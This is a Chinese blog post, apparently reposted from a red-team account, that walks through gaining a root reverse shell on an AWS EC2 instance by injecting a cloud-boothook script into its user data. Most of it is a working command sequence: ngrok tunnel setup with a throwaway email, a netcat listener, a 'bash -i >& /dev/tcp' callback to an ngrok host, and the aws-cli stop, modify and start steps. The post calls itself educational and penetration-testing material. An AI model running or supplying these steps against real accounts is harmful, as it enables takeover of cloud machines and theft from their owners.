引爆AWS EC2实例:轻松获取反向 shell访问权限!

admin 2023年7月18日09:23:37评论38 views字数 3248阅读10分49秒阅读模式

记录下aws ec2 如何执行反弹shell

本文仅供参考和教育目的,适合那些愿意并好奇了解和了解安全和渗透测试的人。内容不得用于非法目的。如果您准备好学习新的东西,然后继续阅读。

Amazon“aws ec2修改实例属性”允许您将shell命令注入虚拟机的所谓“用户数据”中。用户数据是一种在启动时运行的机器启动脚本。默认情况下,用户数据代码在系统启动时以 Linux root 或 Windows 本地管理员身份运行。

为什么这有用?


首先,它充当恢复机制。失去管理访问权限的管理员仍然可以使用 Amazon API 来登录相应的虚拟机。

此外,在测试作业中,您可以检查给出的权利是否太宽泛。被测试的帐户可能被授予比预期更多的权限。这可能会导致横向移动。

POC 由 2 台机器组成:配置为 Linux Ubuntu 的 Amazon ec2 实例和攻击者机器(Kali Linux 2023.2 版本)。

在接下来的部分中,我将演示 Linux 反向 shell 场景。如果您拥有 Windows ec2 实例,也可以执行此 PoC。唯一的区别是您需要在步骤 11 中提供 Windows 负载。

对于这种情况,我们将使用工具 ngrok (https://ngrok.com/)。Ngrok 用于在 ngrok 云服务器和 Kali Linux 攻击者系统之间建立 VPN 隧道。来自 Linux 目标系统的出站流量将通过 ngrok VPN 隧道路由,最终到达 Kali 系统。因此,提前征求许可(ngrok 的使用)是否属于“交战规则”非常重要。仅当目标虚拟机具有出站 Internet 访问权限时,此方案才有效。

攻击者系统


要求:

- 有效的亚马逊API凭证

- 配置了出站 Internet 访问的 Amazon ec2 实例(默认)

- 您的 Amazon 配置文件包含权限 ec2:start-instance、ec2:stop-instance、ec2:modify-instance-attribute。


准备工作:


通过步骤 1 到 8,我们将准备 Kali Linux 系统:

· 安装ngrok

· 注册ngrok账户

· 安装aws-cli工具

· 设置您的 aws 配置文件


  1. 1.在攻击者机器 Kali Linux 上执行


    cd /tmpwget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgzsudo tar xvzf /tmp/ngrok-v3-stable-linux-amd64.tgz

    sudo chown -R root:root /tmp/ngroksudo mv /tmp/ngrok /usr/local/binngrok version


引爆AWS EC2实例:轻松获取反向 shell访问权限!



2.在攻击者机器Kali Linux上执行

获取临时电子邮件地址以便在 ngrok.io 注册。您可以通过https://www.minuteinbox.com/获取 10 分钟邮箱



引爆AWS EC2实例:轻松获取反向 shell访问权限!


3.在攻击者机器Kali Linux上执行

使用临时电子邮件地址向 ngrok 注册。导航至https://dashboard.ngrok.com/signup

提供以下信息:

姓名:<您的真名或假名>

电子邮件:<您的电子邮件>@meantodeal.com

密码:<您的密码>

4.在攻击者机器Kali Linux上执行

不要忘记验证您的 ngrok.com 电子邮件地址


引爆AWS EC2实例:轻松获取反向 shell访问权限!


5.在攻击者机器Kali Linux上执行

在https://dashboard.ngrok.com/get-started/setup内,复制并粘贴 ngrok API 令牌。


引爆AWS EC2实例:轻松获取反向 shell访问权限!

6.在攻击者机器Kali Linux上执行

安装 ngrok API 密钥。

ngrok config add-authtoken 2OVFgvlBTGDipmNkHbGpI<redacted>


7.在攻击者机器Kali Linux上执行

安装 aws cli 工具。

# 安装 aws cli sudo apt install awscli

引爆AWS EC2实例:轻松获取反向 shell访问权限!


8.在攻击者机器Kali Linux上执行

配置您的 aws 配置文件。您需要提供您的 aws API 详细信息(密钥 ID 和密钥)。如果您还没有 Amazon 账户,可以在https://portal.aws.amazon.com/gp/aws/developer/registration/index.html注册


# 设置您的 aws 配置文件(提供 API 访问密钥) aws configure --profile <name>

引爆AWS EC2实例:轻松获取反向 shell访问权限!


我们已经完成了准备工作。我们可以继续我们的 PoC 并使用 aws-cli 工具执行 Amazon 命令。

Linux通过注入用户数据进行反向shell

9.在攻击者机器Kali Linux上执行

使用 aws cli 工具获取您的 ec2 实例的列表。

aws ec2 describe-instances --profile nwh --query 'Reservations[].Instances[]' | jq -r '.[] | "InstanceId: (.InstanceId) EIP:  (.PublicIpAddress) OS: (.PlatformDetails)"'

引爆AWS EC2实例:轻松获取反向 shell访问权限!


在下一部分中,我将使用变量$inst_id来引用目标 ec2 instanceId。

10.在攻击者机器Kali Linux上执行

启动ngrok tcp隧道

ngrok tcp 8080


引爆AWS EC2实例:轻松获取反向 shell访问权限!


在攻击者机器Kali Linux上执行

启动对应的netcat监听器

nc -nlvp 8080

引爆AWS EC2实例:轻松获取反向 shell访问权限!


11.在攻击者机器Kali Linux上执行

创建一个 shell 脚本来注入目标计算机的用户数据。提供 ngrok 隧道详细信息(LHOST=主机名和 LPORT=端口)。

cd /tmp LHOST=6.tcp.eu.ngrok.io LPORT=10923 echo  "#cloud-boothook" >shell.sh echo  "#!/bin/bash" >>shell.sh echo  "bash -i >& /dev/tcp/ $LHOST / $LPORT 0>&1" >>shell.sh chmod 755 /tmp/shell.sh

引爆AWS EC2实例:轻松获取反向 shell访问权限!


注意:不要删除第一个注释行“#cloud-boothook”。

12.在攻击者机器Kali Linux上执行

将您的 shell 脚本(步骤 11)转换为 base64。


# base64 base64 /tmp/shell.sh > /tmp/shell_base64.txt

引爆AWS EC2实例:轻松获取反向 shell访问权限!


13.在攻击者机器Kali Linux上执行

使用 aws cli 工具停止目标实例。


# stop target instanceaws ec2 stop-instances --instance-id $inst_id --profile nwh; sleep 45

引爆AWS EC2实例:轻松获取反向 shell访问权限!


14.在攻击者机器Kali Linux上执行

使用 aws cli 工具检查目标计算机的用户数据。


aws ec2 describe-instance-attribute --instance-id $inst_id --attribute userData --output text --query "UserData.Value" --profile nwh | base64 –decode

引爆AWS EC2实例:轻松获取反向 shell访问权限!

15.在攻击者机器Kali Linux上执行

使用 aws cli 工具启动目标实例。

# 启动实例


aws ec2 start-instances --instance-id $inst_id --profile nwh

引爆AWS EC2实例:轻松获取反向 shell访问权限!


稍后(大约 1 分钟),代码将执行,您将收到一个反向 shell。

引爆AWS EC2实例:轻松获取反向 shell访问权限!

引爆AWS EC2实例:轻松获取反向 shell访问权限!


16.在攻击者机器Kali Linux上执行

可选:升级到交互式 shell。

python3 -c 'import pty; pty.spawn("/bin/bash")';

引爆AWS EC2实例:轻松获取反向 shell访问权限!


参考

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html

https://ngrok.com/

https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/



原文始发于微信公众号(红队笔记录):引爆AWS EC2实例:轻松获取反向 shell访问权限!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月18日09:23:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   引爆AWS EC2实例:轻松获取反向 shell访问权限!http://cn-sec.com/archives/1885454.html

发表评论

匿名网友 填写信息